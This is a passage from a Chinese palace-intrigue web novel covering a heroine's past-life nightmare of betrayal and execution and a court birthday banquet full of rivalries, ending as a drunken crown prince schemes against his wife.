普神医来看诊,竟诊不出病因。
徐慧珠面色红润,也未发烧,只是陷入昏睡,叫不醒。
“将军,夫人这情况像是梦魇,人困在梦境之中,外力无法干涉,夫人何时醒来,得看她的意志力。”
姜夜沉向皇上告假,守在床榻前,他命大福和阿魂再次对徐慧珠自出生至今事无巨细调查一遍,确定徐慧珠和大皇子李明远顶多算有怨无仇。
但,姜夜沉直觉徐慧珠突然梦魇,与大皇子李明远有关。
“徐慧珠,你到底经历过什么?”
“大皇子李明远伤了你吗?”
“他怎么伤的你?为夫让他以命相偿。”
此刻的徐慧珠,听得见姜夜沉说话,她挣扎着想要睁开眼睛,却一阵无力,坠入阴冷潮湿的黑暗里。
徐慧珠看见第一世的自己,何其短暂一生,定格于她的二十五岁。
她在大平寺后山偶遇大皇子李明远,掉入他布好的陷阱。
他说,“徐慧珠,本王不忍心留你在王府后院,同那些空有美貌的女子争宠,日渐枯萎。”
“本王会心疼,会舍不得,因为本王想要你日日相伴身侧……”
又说,“做本王的女官,私下,唯有你,徐慧珠,可掌管本王。”
“徐慧珠,你于本王来说,是不同的。”
她怎么就信了呢。
女官?
低贱奴婢罢了。
她,真蠢。
蠢而不自知。
她陪着大皇子李明远斗败太子,他递给她一把**,蛊惑她,“一个遭皇上厌弃的废太子,不过蝼蚁。徐慧珠,杀了废太子,本王只信你。”
废太子死后,大皇子李明远等了一年,也没等来皇上立他为东宫储君的圣旨。
他着急,更心慌。
他搂着她的身子,不再自称“本王”,也不再直呼“徐慧珠”。
他的声音甜如糖浆,糊住她的心。
他求她。
“慧珠,我送你入宫。”
又过三年,她偷偷出宫见他,告密皇上的密旨内容:皇上急召北疆王姜夜沉回京。
他跪在她面前,举起三根手指发誓:慧珠,我要牵着你的手,共坐黄金座。
她又又又信了。
为他的誓言,她成为弑君者。
他高呼:“弑君者,人人可诛杀之。”
她看着他举剑,果断出手,一剑砍断她的脖子。
身首分离。
他还不罢休,又一脚踢飞她的头,滚到墙角,留下一串腥红的血迹。
他眼神冷漠嫌恶,“丢去乱葬岗,供野狗野狼分食,弑君者不配死后全尸,更无资格投胎做人。”
怪异的是,她明明气息断绝,却亲眼看着怨念**成一缕虚影,无根游荡。
更怪异的是,她的虚影会
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流出血泪,会感觉到疼痛。
她瞧见传说中的杀神将军、北疆之王——姜夜沉,经过京郊乱葬岗之时,赶走撕咬尸体的狼群,命将士挖坑埋葬一具具尸骨。
她有幸在其中,更被一名将士好心拼凑完整。
……
徐慧珠这一觉睡了三日,姜夜沉守了她三日。
寸步不离。
“将军,你的胡子……扎着我了。”
昨夜,姜夜沉趴在她的脖颈处,偷偷哭泣。
男儿有泪不轻弹,只是未到孤独绝望时。
她好心疼。
“将军,我做了一个好真实的梦。”
“我经历一世一生。”
“梦里,我被坏人谋害性命,姜夜沉,你如天神降临,救了我。”
徐慧珠美化了梦。
她不能如实相告,所谓梦里,大皇子李明远哄骗她的身子,摧毁她的心智,撕裂她的灵魂。
他利用她,榨干她身上最后一寸价值,然后弃之如垃圾。不,垃圾尚能苟且活着,他一脸凶狠,骂她是弑君者,割断她的头。
大皇子李明远,是**凶手。
杀她的凶手。
这些,她只能再次埋藏于心底,不能与姜夜沉共享。
只因,她不忍看姜夜沉心痛心碎。
更怕,姜夜沉恨她,报复她。
她已如愿嫁给姜夜沉,如何承受得住姜夜沉的报复。
“梦里,害你性命的坏人,是大皇子李明远?”
徐慧珠点了点头。
姜夜沉何等智慧,徐慧珠说的模糊,他却直指“凶手”。
她说是梦,是她的一世一生。
梦里种种皆是她亲身经历,她被掩埋在痛苦的墓穴里,一困三日。
姜夜沉信。
这恰好解释得通,徐慧珠在春风酒楼尝过那道甜皮鸭,刺激她遗忘的痛苦记忆。
也就是说,那道甜皮鸭是阀门,打开后,记忆如洪水倾泻而出。
徐慧珠才会坠入梦境,迟迟无法清醒。
“将军,我知晓大皇子李明远的秘密。”
“秘密?”姜夜沉统领锦衣卫,手里还握着云霄阁,他能查到大皇子李明远的隐秘有很多......
第217章:生辰宴
大皇子李明远的秘密。
比如,大皇子李明远才是操控明道成,同察尔通王子勾结的幕后**。
再比如,大皇子李明远对生母厉贵妃怀有一种肮脏心思,王府后院里娇养的美人,若细看,清一色相似厉贵妃。
而所有替代品之中,唯有暮歌从容貌和气质,最像厉贵妃。
姜夜沉以为徐慧珠要利用这两点,分析道,“先前,大皇子李明远不惜动用埋在锦衣卫署的暗桩,灭口明道成,刚好给我一次清洗锦衣卫的机会。”
“只是,明道成一死,没了人证指认大皇子李明远和察尔通王子勾结,大皇子李明远一直将自己隐藏的很好,痕迹擦的干净,察尔通还以为自己的合作对象是太子。”
也就是说,这条路行不通。
“大皇子李明远的后院干净,一向以洁身自好标榜。”
“那些娇养的美人儿皆以奴婢身份存在,再说人的容貌,世间相似千千万,大皇子李明远完全能自辩清白。”
“实在强加利用,也能成事……”
徐慧珠摇头,“不,将军,我知晓大皇子李明远另一个可怕又致命的秘密,足以置他死地的秘密。”
“我们只需暗里操控,让太子干活……”
大皇子李明远是一名出色的戏子,他将自己的野心和贪婪藏匿在阴暗的密室,自以为安全。
他万万没想到,这世上存在另一个知情人,即将暴露他所有的肮脏。
徐慧珠心里唯有一个念头,就是报复大皇子李明远,要他偿命。
杀了人,不偿命,怎么说得过去啊。
死,是最简单粗暴的报复方式。
徐慧珠要让大皇子李明远在死前尝遍痛苦、悲伤和绝望。
很快,就等到良机,大皇子李明远的生辰。
随着皇后娘娘和太子失势,厉贵妃执掌多半宫务,大皇子李明远在朝堂亦高调行事。
厉贵妃请求皇上,由内务府大办大皇子李明远的生辰宴。
紧接着,传出皇上圣驾将亲临大皇子府。
皇后身为大皇子李明远的嫡母,厉贵妃身为生母,太子身为储君……能不去吗?
只怕,京城贵人集临大皇子府,或将府邸挤爆。
按照规矩,以徐慧珠的妾室身份,哪有资格参加大皇子李明远的生辰宴。
可,规矩是冰冷死气的,人是活泛的。
徐慧珠是姜夜沉身边唯一的女人,姜夜沉都普天宣告“徐夫人”,谁敢当面叫一声“徐姨娘”?
当姜夜沉和徐慧珠一同从马车上下来,别家夫人都是身旁奴婢扶,就徐慧珠另类,不,是矫情,瞧瞧她那一副做作姿态,还真当自己是将军夫人。
“夫人慢些。”
“今日大皇子殿下生辰宴,来来往往人多,为夫相请元乐长公主和襄王妃照顾你,若是遇见有些不长眼不长脑的人欺负你,尽管向元乐长公主和襄王妃告状。”
徐慧珠正欲开口,被人抢了先。
“徐慧珠,拿开你的脏手。”
凝玉公主人已上两步台阶,听见姜夜沉的声音,实在是她对姜夜沉的声音过分敏感。
一回头,就瞧见两人相依偎,这画面一瞬灼伤她的眼睛。
“臣妇不明公主殿下为何动怒?”
“臣妇的手挽着自己的夫君,碍公主殿下何事?”
徐慧珠和凝玉公主注定是不死不休的仇怨,就算凝玉公主身份高贵,她也不惧不怕。
谁还没个靠山了?
“徐慧珠,你?”
“******!”
凝玉公主气到口吐芬芳,做势就要冲下台阶。
“公主殿下,求您忍耐啊。”周嬷嬷快要哭了,她自然知晓凝玉公主的脾气,倔劲一上来,哪管场合哪管体面,凝玉公主这是要掌掴徐慧珠。
徐慧珠是该掌掴,甚至该死,但凝玉公主不能现下发作,更不能于今日犯浑。
“凝玉公主,您忘了皇后娘娘的嘱咐,皇后娘娘已应允您了啊。”
可,怒火中烧的凝玉公主哪听得进去,她此刻胸腔喷火,必须发泄出去。
姜夜沉是她的男人,本该是她的私有物,徐慧珠一个**当她面霸占,还敢亵玩?
岂有此理。
“夫人说得极是。”
“凝玉公主还未病愈,就该留在宫里静养,无缘无故指责朝臣后院,这便是您的教养?”
姜夜沉说话毫不留情,不仅骂凝玉公主,连皇后娘娘也骂上。
凝玉公主教养不好,女不不教,母之过。
“姜夜沉,你…
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…你骂本宫?”
“你对徐慧珠那个**柔情小意,对本宫冷言冷语,你这般伤本宫的心,你……你的良心呢?你……你对得起本宫吗?”
凝玉公主的情绪,再次失控。
当然,她的情绪时常失控,京城贵人圈已见怪不怪。
反正,凝玉公主太能折腾,又能发疯,将自己的名声作得臭不可闻。
“笑话!”
“凝玉公主是本将军的谁?”
“不知所谓!”
前一瞬淡漠,下一瞬温柔。
“夫人,随为夫入大皇子府,莫被不相干的人扰了心情。”
围观者只敢在心里感叹:大将军也是变脸大师。
凝玉公主的确气疯了,是被姜夜沉的无情冷血、徐慧珠的小人得意,气到窒息。
“姜夜沉,本宫和你曾有过婚约啊。”
“本宫是谁?”
“姜夜沉,本宫该是你如珠如宝宠爱的将军夫人。”
凝玉公主指着徐慧珠,满脸泪痕,声音变了调,看来,凝玉公主内心早已觉得她就是将军夫人,而徐慧珠鸠占鹊巢,才是没皮没脸的**。
“凝玉公主您这么恨嫁啊。”徐慧珠怼道,“您与其在这里纠缠将军,丢尽皇家脸面,不如去求皇上,为您赐一位驸马。”
“我家将军,凝玉公主您这辈子……高攀不起。”
凝玉公主理智尽丧,当然,她的理智本就稀薄,哪经得住姜夜沉和徐慧珠连番刺激。
主子往下扑,老奴拼力拉。
拉扯之下,凝玉公主摔下去,好巧不巧摔在姜夜沉和徐慧珠面前。
更巧的是,周嬷嬷肥胖的躯体直直压在凝玉公主身上。
“啊啊啊……”
凄厉的尖叫声,来源于尊贵的凝玉公主。
自徐慧珠嫁给姜夜沉,凝玉公主遭遇的倒霉没停过。
“夫人,小心。”
“为夫扶着你。”
姜夜沉毫无怜香惜玉之心,他扶着徐慧珠,从凝玉公主身旁走过。
莫说救凝玉公主,连一个多余眼神都没给。
真是小气。
身后,是一双怨毒的眼睛,一边流泪一边死死盯着他们。
这一刻,凝玉公主对他们又又又起了杀心。
凝玉公主:都**吧。
第218章:磨刀霍霍向太子
大皇子李明远的生辰宴,难得高调一回。
内务府岂敢得罪风头正无限好的厉贵妃和大皇子李明远,自是卯足劲将生辰宴办得尽善尽美。
厉贵妃获得恩准,前一晚住在大皇子府。
男女宾客分开,中间隔着一道花坛,又架起两道屏风,出入口是两条路。
相隔咫尺,抬眼就能看到,徐慧珠哪里需要元乐长公主和襄王妃照顾,偏偏姜夜沉那么说,故意气凝玉公主。
“夫人记着为夫的话。”
徐慧珠笑容温婉,答道,“将军说过的话,我时刻牢记于心。”
“旁人欺我辱我骂我,等同于欺将军。”
“我和将军夫妻一体,荣辱与共。谁敢骂我一句,我得听将军的话,骂回去十句,或抽烂那人的嘴。”
“是这样吗?将军。”
姜夜沉竟……笑了,夸赞道,“夫人听话乖顺,为夫很欣慰,更高兴。”
众人:……
两人一唱一和,这是显摆?还是威胁?
一时间,大家看徐慧珠的眼神,又添了几分意味。
听说,厉贵妃向皇上吹枕边风,要借生辰宴之机,再次为大皇子李明远相看贵女。
看生辰宴的阵势及席面布局,是真的了。
也是,暮歌原定是大皇子李明远的侧妃,赐婚旨意还没来得及下,就被太子截胡。
谁不感叹一句大皇子李明远可怜。
太子身为东宫储君,黄金座的未来主子,莫说夺大皇子李明远的侧妃,就是要大皇子李明远的命……这便是身份之差。
谁不酸言酸语一句钱暮歌好命。
毕竟京城贵女何其多,太子妃的位置就一个,却落在钱暮歌身上。
“慧珠姐姐?”徐念念瞧见徐慧珠,满眼惊喜。
“慧珠姐姐,看见你太好了,我和悠悠快无聊**。”
徐念念本就是欢快明朗的性情,钱悠悠性格直爽,两人倒是合拍,相处融洽。
“就是,本小姐不过离京十载,某些眼睛长歪的坏东西看我的眼神像是看乡下人,不该误闯她们的大观园。”
“呵,当真以为本小姐稀罕,殊不知,她们在本小姐眼里,才是跳梁小丑。”
钱悠悠亲昵地挽住徐念念的胳膊,“她们打着孤立我们的主意,可惜,我们压根不想搭理。”
两人倒是默契,向徐慧珠一顿告状。
说来,她们三人处境一样。
不被“贵人”看得起。
钱悠悠遭受生父厌弃,在祖地生活十年,便成了贵人眼里的“乡下人”。
徐念念出身小门小户,先是被钱宝器瞧上,又不知使了何种下作手段攀附上钱无双,一女勾引一双兄弟,贵人圈岂能接纳她?
再有徐慧珠,本该是低贱妾室,却坐实京城最嚣张得势的妾,她这是要当天下妾室的典范,骑到嫡妻的头上撒野?
“好好好。”
“我们找个安静的角落,坐下来说说话。”
徐慧珠今日谋的是大事,等着赏一场大戏,她可没闲情逸致和那些端着的贵夫人们打嘴仗。
无趣的紧。
“悠悠,你再讲讲江湖事,我上回听得意犹未尽。”
“念念,你也说说婚后生活……”
女人凑在一处,就有聊不完的话题。
主桌那一桌,依次坐着厉贵妃、元乐长公主、襄王妃和几位德高望重的皇室宗妇。
桑氏也坐在主桌,挨着元乐长公主。
厉贵妃掩下眼里的异色,元乐长公主一向孤傲,这回愿给桑氏做脸,是在释放什么信号。
她得把握住机会做些什么。
元乐长公主是一块顽石,偏偏,她和皇上不仅是一母同胞的亲兄妹,还有一同打江山的情谊。
元乐长公主一生年华奉献给安国,一生未嫁,可以说,她是安国的守护者,是万千百姓安居乐业的功臣。
这些年,太子和大皇子李明远费尽心思示好,不管他们做什么,换来的只有元乐长公主的冷脸。
眼下,不失为试探一二的良机。
“不是本宫厚颜自夸,实在是明远这孩子懂事让人心疼啊。”
“明远长到二十多岁,还是头一回操办像模像样的生辰宴。”
“
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本来明远不同意,是本宫心有愧疚,坚持求皇上下旨,皇上也心疼明远……”
厉贵妃拿着锦帕,擦拭眼角泪珠。
说着说着,自己先感动上了。
“明远常说,皇上和元乐长公主是他的人生信仰。”
“所以啊,明远最终同意举办生辰宴,但提出要求生辰宴上收的礼金,一半捐给边疆将士,让将士穿得上暖和的棉衣。另一半盖学堂,让更多孩童识字,为安国培养人才尽一份力。”
厉贵妃说完,悄悄观察元乐长公主神色。
当然,厉贵妃这一番话不单单是说给元乐长公主听,她的声音不算响亮,但大家都听得清楚。
坐在角落的徐慧珠三人也听见了。
徐慧珠懒得欣赏厉贵妃演戏,大皇子李明远特意举办这场生辰宴,到底图什么?他们母子心里清楚也就罢了,还非得在人前彰显高尚情操,展示远大抱负。
如今,厉贵妃越发不把皇后娘娘放在眼里,大皇子李明远也磨刀霍霍向太子。
徐慧珠忍不住好奇,等大皇子李明远亲眼瞧着自己“死”在太子手里,会是什么表情?会是何等心情?
钱悠悠冷哼一句“做作,不去登台唱戏可惜了”,说来,厉贵妃和苗安楠归属同类人,都是黑芝麻馅儿的白莲花。
眼瞅着厉贵妃唱了半晌的戏,无人捧场,一位皇室宗妇笑着称赞道,“大皇子殿下能干。”
“贵妃娘娘福泽深厚。”
这位皇室宗妇接收到厉贵妃的暗示,不得不硬着头皮询问元乐长公主。
“听说,大皇子年少时曾三登公主府门,想要拜元乐长公主您为师,可见大皇子能有今日作为和优秀品质,元乐长公主您也有一份功劳在啊。”
不会拍马屁,硬拍,说的就是这位拎不清的皇室宗妇。
“哦?”
“厉贵妃也这般觉得?”
元乐长公主看向厉贵妃,淡漠到让厉贵妃禁不住身子一抖。
“说说吧,厉贵妃,你想要本宫承认什么?”
“或者说,大皇子想要从本宫这里得到什么?”
第219章:慧眼识珠
厉贵妃压下心里的异样,扯出一抹真诚的微笑,说道,“长公主殿下严重了。”
“明远打小常说,他最崇拜敬仰的人,父皇排首位,元乐姑母次之。瞧明远说的,本宫这个生母啊,都吃醋了呢。”
厉贵妃的回答,滴水不漏。
今日这番话传出去,就会说元乐长公主看好大皇子李明远。
看好,等同于站位。
然后,大皇子李明远借元乐长公主的势力和影响力,将太子从东宫储君的位置上赶下来,他好以身替之。
打的一手好算盘。
“本宫一生未嫁,对教养孩子不感兴趣。厉贵妃不擅讲笑话,还是莫讲了,听着尴尬。”
元乐长公主说完,起身招呼襄王妃和桑氏,“咱们去慧珠那桌坐坐,多听年轻人说话,免得越老越糊涂。”
“人啊,一糊涂就容易犯蠢。”
厉贵妃脸上的笑容凝滞,恨恨地揪着锦帕,她的明远比太子那个废物聪慧能干百倍,元乐长公主眼瞎看不见吗?
明远从小到大受到的委屈和排挤,元乐长公主身为亲姑母,从未说一句公道话。
“元乐长公主,你?”
“厉贵妃,谨记你的身份。”元乐长公主撂下一句冷话,转身离开。
厉贵妃气到窒息,指甲掐入肉里,疼痛方能让她维持理智。
“本宫惶恐,不知哪句话说错,惹得元乐长公主心有不悦。但,元乐长公主教训的是。”
她哪句话说错了?不,她哪句话都没说错。
她的试探,再次收获元乐长公主的冷嘲热讽。
呵,一朝天子一朝臣,待她的大皇子李明远登上黄金座,她要看看元乐长公主还敢不敢训斥她?
对,她定会等来那一天。
不知,巴掌扇在元乐长公主那张贵脸上,元乐长公主是否能依然神色傲娇?
元乐长公主一行人径直走向徐慧珠那桌,这下,有人后悔的掐自己。
早该想到元乐长公主三番五次抬举徐慧珠一个妾室,交好徐慧珠,说不得也是入元乐长公主眼的捷径。
可,贵人才是真正矫情,让她们这些尊贵的嫡妻放下身段讨好一个妾室,她们就算咬碎银牙,也过不去心里的关卡。
实在为难。
又忍不住心里泛酸。
毕竟,在京城,谁不想和元乐长公主攀附上一两分矫情?
若有贵女幸运得元乐长公主一两句夸赞,或随手赏赐一支金簪,便是天大的体面和福气,于家族儿郎也是助力。
徐慧珠三人规规矩矩行礼,徐念念拉起钱悠悠正欲离开,元乐长公主开口道,“不必拘礼,都坐下吧。”
“慧珠的眼光一向极好,她同你们交好,便说明你们也是好的。”
“坐下吧,都陪本宫说说话。”
徐慧珠大方接话,“将军说,优秀的人相互吸引。”
“公主殿下慧眼识珠,识得臣妾这块明珠。臣妾也慧眼识珠,识得徐念念和钱悠悠这两颗明珠。”
元乐长公主被成功逗笑,说道,“皇嫂,温德夫人,你们也听见了吧,徐慧珠这张利嘴,仗着姜夜沉的势,夸自己夸的理直气壮。哈哈哈……”
“刚刚将军交待,要臣妾今日仗公主殿下和义母两位的势呢。”
徐慧珠端起茶盏,笑的明媚狡黠。
“公主殿下,臣妾以茶代酒,敬你一杯。”
“义母,女儿敬您。”
“温德夫人,敬您。”
“好好好。”元乐长公主难得笑的慈爱,“慧珠呀,本宫的势,你随意仗。”
众人:……
还能这样?
元乐长公主被夺舍了灵魂吗?
徐慧珠何德何能,入元乐长公主的眼,讨得元乐长公主的欢心?
更气人的是,元乐长公主给徐慧珠一个好脸色,她竟没脸没皮到开染坊。
“公主殿下,您是不知道,钱悠悠一身武功,可厉害了,对战三两名禁卫军,轻松拿捏。”
“唉,可惜了……”
元乐长公主忍不住问道,“可惜什么?”
“女子学习武功,要学有所成,比男子付出百倍的努力和辛苦。可,钱悠悠明明武功高强,却不能像儿郎考取武状元,建功立业,保家卫国。”
“英雄无用武之地,岂不可惜可叹。”
元乐长公主当年能在北疆亲上战场,能力卓越只占一小部分原因,更为关键的是她随皇上一同上战场,有皇上站在她的
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身后,给予她最有力最强大的支持。
最后呢?
还是回京做她的元乐长公主。
后有上官西环,得益于她有一个爱她懂她的好爹。
但,上官褐要护住女儿,要稳住西疆兵权,还是得妥协女儿的婚事。
可,世间女子千千万,不是谁都有元乐长公主、上官西环这样的好命。
钱悠悠的爹,提了都是伤心泪,不提也罢。
先前那位附和厉贵妃的皇室宗妇又开口,“徐夫人这话说得好没规矩。”
“女子当学女戒、女则、女德,舞刀弄枪那是男人们的事。”
元乐长公主一记冷眼扫射,那名皇室宗妇当下闭嘴。
“崔老王妃教训的是,今日将军也来了,臣妾待会儿就告诉将军,崔老王妃您莫名其妙骂将军没规矩。”
偏偏,元乐长公主还接话,“是该告诉姜夜沉,他又平白无故遭骂,正巧崔老王爷也在,问一问崔老王爷,为何纵妻辱骂堂堂护国将军、北疆之王、锦衣卫统领?”
“可请皇上主持公道。”
众人:……
当他们是空气?耳朵是摆设?
可怜崔老王妃一张老脸憋成茄子色,是她说错话?还是元乐长公主和徐慧珠皆耳聋?
还能这样颠倒黑白?
厉贵妃松了一口气,万幸她这回没说什么,不然又换来元乐长公主一顿冷嘲热讽。
她这个贵妃当的,在元乐长公主眼里,还不如将军府一个妾室。
“温德夫人,你很会教导儿女。”
元乐长公主一开尊口,夸赞桑氏一双儿女。
在场贵夫人们心里止不住地冒酸水,一股一股往外冒。
元乐长公主难得夸赞小辈,可惜,夸的是别人家儿女,自己只能听着,羡慕嫉妒的份。
“悠悠这孩子打小就好动,一学琴棋书画就头晕,在祖地的时候,公爹亲自教授悠悠武功。”
桑氏的公爹,便是钱丞相的父亲,从前是一名武将,正直忠君。
“公爹时常训诫悠悠:一个人身怀武功,要么行走江湖、行侠仗义。要么去边疆投身军营,上阵杀敌,护卫疆土。”
“而女子,当以元乐长公主为楷模。”
第220章:打脸贵妃娘娘
同样是说好听的话,桑氏这番话,听着顺耳舒心,也显得真心实意。
“钱悠悠,明日便到公主府来,和本宫在演武场比划一二,好让本宫瞧瞧你是花架子?还是真有本事?”
“若真有几分本事,本宫便破例一回,收你为徒,亲自教授你武功和排兵布阵。”
“如何啊?”
幸福来得太突然,不,钱悠悠觉得,自己这是被天上掉下来的馅儿饼,精准砸中。
钱悠悠噗通跪在地上,激动的语无伦次,“臣女……臣女……明日天一亮,准时报到。”
厉贵妃觉得脸颊火辣辣的痛,她后悔求皇上提早出宫,大皇子李明远对她冷淡,元乐长公主又“打”她脸。
难道?
难道元乐长公主不怕日后清算?还是她知晓皇上的心思,皇上宁愿把安国交到太子那个废物手里败掉,也不肯给大皇子李明远一次机会?
同样是皇上的儿子,为什么?
无人在意厉贵妃的情绪变化。
徐慧珠取下自己的荷包,双手奉给元乐长公主。
“这……这是双面绣?”
“好灵巧的手艺!”
元乐长公主曾志在边疆军营,但她也有小女子的嗜好,便是做绣活。
“公主殿下好眼力,臣妇这荷包是徐念念绣的。”
“她呀,生得一双巧手,绣活做得绝妙,还擅厨艺。”
“臣妇要是男子啊,非徐念念不娶,无双公子娶徐念念为妻,真真是挖到珍宝了。”
荷包在元乐长公主手里,她都舍不得还给徐慧珠了。
“你叫徐念念?”
“嗯,也是个好的。”
“明日随钱悠悠一起来公主府。”
“陪本宫说说话,你可愿意?”
徐慧珠说什么就是什么?
徐慧珠说花儿香的,元乐长公主便赞叹花香四溢、沁人心扉?
哪怕徐慧珠睁眼说瞎话,说“屎”臭的,明明不是屎,而是一碗价值二十两银子的燕窝,元乐长公主连看都不看一眼,直接下令扔掉?
徐慧珠何德何能,做得了元乐长公主的主。
“是,公主殿下。”徐念念满眼欣喜,恨不能现下就去寻钱无双,分享这个天大的好消息。
她太太太激动了。
钱悠悠和徐念念一开始有点紧张,幸好有徐慧珠在,说着聊着,气氛融洽中透着轻松。
有些贵人厚着颜面或大着胆子往徐慧珠这一桌稍微靠近些,她们也知趣,不敢随意开口,只安静听着,凑个人气。
事实证明,元乐长公主身在何处,就是主桌。
在厉贵妃觉得自己快要被气昏厥之时,帝后和太子驾临,所有人齐聚正厅按照身份依次跪迎。
厉贵妃抚上心口,深深吸一口气,再次抬头,美艳的脸上已恢复温婉的笑容,一双水汪汪的大眼睛饱含深情望向皇上。
今日是大皇子李明远的生辰宴,厉贵妃身为大皇子李明远的生母,皇上定会给足体面。
所以,厉贵妃在等皇上开口,说:“爱妃,坐到本皇身旁来。”
皇后娘娘最见不得厉贵妃的狐媚样,一大把年纪了,还以为自己是含苞待放的少女?
皇后娘娘脸上的假笑快要崩裂,不过转瞬,她又笑的灿烂。
贵妃娘娘又怎样?
说到底,就是一个妾。
唯有她,与皇上结发的正妻,才有资格陪伴皇上身侧,一同接受朝臣万民跪拜。
“元乐,坐本皇身旁来。”
厉贵妃猛的抬眼,尽是不敢置信。
嘭。
厉贵妃心里的弦,崩断了。
往日宫宴也就罢了,皇上一侧是皇后娘娘,另一侧是元乐长公主。
她心里委屈,自个儿承受,再说服自己消化。
可,今日是大皇子李明远的生辰宴,她求皇上下旨大办,皇上允了。
她求皇上借生辰宴之际,为大皇子李明远相看名门贵女,皇上也允了。
她求皇上圣驾大皇子府,皇上还是允了。
她便以为,皇上的心思,松动了。
她更以为,皇上的心,开始偏向大皇子李明远。
皇上是习惯使然?还是皇上根本没瞧见她眼里的希冀?
“皇兄,今日皇妹找到乐子,就不陪皇兄去男宾席坐着。”
也就元乐长公主敢拒绝皇上。
当然,还有一个胆大包天的人,是姜夜沉。
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偏偏,元乐长公主还当众给厉贵妃上眼药。
“皇兄有皇后和厉贵妃相伴,皇妹这点儿眼色还是有的。”
元乐长公主的意思:皇上,你的皇后和厉贵妃都很聒噪,快领走。
皇上哪听不懂元乐长公主的嘲讽,看来,厉贵妃又又又惹到她了。
唉。
他后宫的嫔妃,一个个不懂事,元乐长公主说得对,皇后娘娘这个上梁不正,厉贵妃一众嫔妃作为下梁不歪才怪。
“皇后,随本皇去前厅。”
皇上这是给元乐长公主出气,都没给厉贵妃一个眼神。
重要人物已登场,席面开始。
太子心情很糟糕,又莫名的兴奋。
他有好些日子没见着暮歌。
这人吧,就是贱骨头。
太子早已忘记第一回殴打暮歌的感觉,不知为何,他一看见暮歌,就会想起陈沅沅,两个女人似乎重叠在一起,折磨的他心痒手痒难耐。
他好想好想狠狠又痛快殴打暮歌,他保证,保持理智,只把人打坏,不打死。悄悄地打,再威胁暮歌不准向皇上告状。
越想,太子的心情,激动又浮躁。
可气暮歌竟搬到君后殿住着,太子不是没想过法子,也不知暮歌给母后灌了什么**汤,母后非得护着她。
“太子,你给本宫安分些,在本宫的眼皮子底下,别想动暮歌一根手指头。”
“本宫被皇上禁足,厉贵妃那个狐媚子趁机**,本宫需要暮歌这枚听话又能干的棋子对抗厉贵妃,至少得保全一半宫权。”
“暮歌,还有用处。”
“太子,别逼本宫扇你。”
太子哪听得进去,他的快乐,比宫权更重要?
母后的眼里,只在乎权力,根本不在乎他这个亲生儿子。
太子目光追寻暮歌,却发现暮歌和大皇子李明远眉来眼去。
当着他的面,暮歌这个水性杨花、不守妇德的**,竟想一枝红杏出墙去?
太子气的端起酒杯,一杯接一杯,不一会儿,一壶酒已入腹。
他渴望酣畅淋漓打一顿暮歌的欲望,越发强烈。
转瞬,计上心来......
第221章:太子醉酒
太子想,他若在大皇子李明远每日安睡的床榻上,暴揍暮歌,再强要了她......暮歌求饶的声音一定婉转动听,大皇子李明远脸上的表情一定好看极了。
太子禁不住笑出声。
太子这一笑,显得突兀。
皇上眉眼染上不耐,在皇上发作之前,皇后娘娘赶忙抢话,“太子本不胜酒力,今日是大皇子生辰宴,太子这是太高兴了,多贪了几杯。”
太子笑出声定是旁的原因,绝不是为大皇子李明远生辰宴而高兴。
“来人,送太子去休息。”
“母后,孤要暮歌陪孤、照顾孤。”太子脸颊泛红,眼神迷离,散发酒气,瞧着七八分醉意了。
皇后娘娘心里咯噔一下。
她压下心底泛起的怀疑,太子本就嗜酒,偏没酒力无酒品,他也怕自己酒后出丑,才让暮歌看顾些。
这是在大皇子府上,皇上也在,朝臣及家眷几乎都来了,太子深知轻重,不会胡来的。
定是这样。
皇后娘娘安抚好自己慌乱的心,深深地看一眼太子,希望太子能明白她的警告。
可惜,皇后娘娘的警告和威胁,太子看得清清楚楚,却浑不在意。
“先送太子去客院休息,再去女宾席请太子妃前去照顾太子。”
太子乖顺行礼,告罪道:“让父皇母后担心,是儿臣的错,儿臣这就下去喝醒酒汤。”
又说,“大皇兄难得举办生辰宴,孤实在高兴,孤今日特意为大皇兄准备了一分大礼,保管让大皇兄终生难忘。”
“先容孤保密,稍后揭晓惊喜。”
皇家本无兄弟情,大皇子李明远可不信太子会突然转性,大发好心,不知憋着什么坏羞辱他。
羞辱他,是太子的日常招数。
“臣兄自是期待太子殿下的惊喜。”
皇上摆摆手,看见太子就倒胃口,连话都不想说。
相比较男宾席发生的小插曲,女宾席就热闹多了。
徐慧珠万万没想到,凝玉公主还有脸来,刚在大皇子府大门前摔那一跤,脸没摔烂,真是老天保佑。
凝玉公主新换衣裙和发饰,她随帝后一同入府,但她可没资格接受朝臣及家眷跪迎,领着周嬷嬷悄悄来女宾席,径直坐到元乐长公主这桌。
殊不知,凝玉公主这个举动,厉贵妃气的又咬碎一嘴银牙。
一个个都当众下她的脸面。
凝玉公主坐下后才发现,徐慧珠竟坐在元乐长公主身侧,冲她得意的贱笑。
“徐慧珠,你果真是**贱胆,还不赶紧退下,这主桌是你有资格坐的?”
若不是顾忌场合,徐慧珠都想捂住肚子哈哈大笑。
她没资格参加贵人举办的宴会?
她不配坐在主桌?
她该安分地待在将军府后院,当好姜夜沉的妾?
她偏不。
“凝玉公主,您弄错了。”
“公主殿下说,今日是大皇子殿下的生辰宴,便也是贵妃娘娘的好日子,贵妃娘娘坐在哪桌,哪桌就是主桌。”
“凝玉公主您要坐主桌,请坐便是啊。”
徐慧珠擅长听话,现下就仗元乐长公主的势。
明明元乐长公主没说那样的话,如今也是说了。
“**,你……你?”凝玉公主就是一只炸毛的母鸡。
“凝玉,闭嘴。”元乐长公主出声训斥。
恰好这时,宫人来禀,“奉皇后娘娘口谕,太子醉酒不适,请太子妃速去客房照顾。”
徐慧珠和暮歌迅速交换眼神,看来,太子那条蠢鱼上钩了。
暮歌脸色发白,身体控制不住颤栗。
“太子妃刚刚喝了果酿,头也晕乎着,恐怕不能照顾太子。”徐慧珠说道。
“不……不碍事,母后懿旨,儿媳自当遵从。”暮歌说着作势起身。
“钱暮歌,你磨磨蹭蹭作甚?哪那么多废话?若耽搁照顾太子哥哥,有你好看。哼!”凝玉公主对暮歌这位太子妃满眼嫌恶,毫无尊重。
在场贵人已见怪不怪,凝玉公主对先太子妃陈沅沅也没给过好脸色。
听闻,凝玉公主在宫里,三天两头寻嫔妃的麻烦,厉贵妃也深受其害。
“金夏,你和阿喜扶着太子妃去吧。”<
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br>明眼人都看得出来,暮歌似乎怕极太子,传闻大抵为真,暮歌这个太子妃得来“不正”,没被太子殴打致死的“赔偿”。
便是这样的缘由,还是有很多人眼露羡慕,心里泛酸,恨不能以身替之。
毕竟,太子妃的位置,站在权势的顶端,这个诱惑,太大了。
“**还有脸矫情。”凝玉公主嘟囔骂道,她那张金贵的嘴,吐不出一句人话。
